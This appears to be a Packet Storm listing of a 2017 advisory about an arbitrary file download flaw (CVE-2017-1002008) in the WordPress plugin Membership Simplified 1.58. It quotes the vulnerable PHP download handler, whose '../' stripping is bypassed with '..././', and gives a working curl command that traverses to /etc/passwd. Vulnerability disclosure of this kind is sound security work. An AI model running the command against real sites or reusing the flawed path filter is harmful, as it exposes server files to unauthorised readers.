exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

WordPress Membership Simplified 1.58 Arbitrary File Download

WordPress Membership Simplified 1.58 Arbitrary File Download
Posted Mar 16, 2017
Authored by Larry W. Cashdollar

WordPress Membership Simplified plugin version 1.58 suffers from an arbitrary file download vulnerability.

tags | exploit, arbitrary, info disclosure
SHA-256 | 49f3d2d3c61b472f332fbd1106c4ce7e59776bbb9ab0b8bb84d33daeedbd57c3

WordPress Membership Simplified 1.58 Arbitrary File Download

Change Mirror Download
Title: Arbitrary file download vulnerability in Wordpress Plugin Membership Simplified v1.58
Author: Larry W. Cashdollar, @_larry0
Date: 2017-03-13
CVE-ID:[CVE-2017-1002008]
Download Site: https://wordpress.org/plugins/membership-simplified-for-oap-members-only
Vendor: https://profiles.wordpress.org/williamdeangelis/
Vendor Notified: 2017-03-13
Vendor Contact: plugins@wordpress.org
Advisory: http://www.vapidlabs.com/advisory.php?v=187
Description: Membership Simplified allows you to generate membership lessons with templated content to create a unified look and feel throughout your courses.
Vulnerability:
The file download code located membership-simplified-for-oap-members-only/download.php does not check whether a user is logged in and has download privledges, the code on line 5 that checks the path can be defeated by using a ..././ pattern to get the desired ../ after being passed through the str_replace() function:

3 $path = substr(getcwd(), 0, -50). "uploads/membership-simplified-for-oap-members-only/"; // change the path to fit your websites document structure
4 $fullPath = $path.$_GET['download_file'];
5 $fullPath = str_replace("../","",$fullPath);
6
7 if ($fd = fopen($fullPath, "r")) {
8 $fsize = filesize($fullPath);
9 $path_parts = pathinfo($fullPath);
10 $ext = strtolower($path_parts["extension"]);
11 switch ($ext) {
12 case "pdf":
13 header("Content-type: application/pdf"); // add here more headers for d iff. extensions
14 header("Content-Disposition: attachment; filename=\"".$path_parts["base name"]."\""); // use 'attachment' to force a download
15 break;
16 default;
17 header("Content-type: application/octet-stream");
18 header("Content-Disposition: filename=\"".$path_parts["basename"]."\"") ;
19 }
20 header("Content-length: $fsize");
21 header("Cache-control: private"); //use this to open files directly
22 while(!feof($fd)) {
23 $buffer = fread($fd, 2048);
24 echo $buffer;

Export: JSON TEXT XML
Exploit Code:
aC/ $ curl http://example.com/wordpress/wp-content/plugins/membership-simplified-for-oap-members-only/download.php?download_file=..././..././..././..././..././..././..././..././etc/passwd
aC/
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    0 Files
  • 7
    Nov 7th
    0 Files
  • 8
    Nov 8th
    0 Files
  • 9
    Nov 9th
    0 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    0 Files
  • 12
    Nov 12th
    0 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close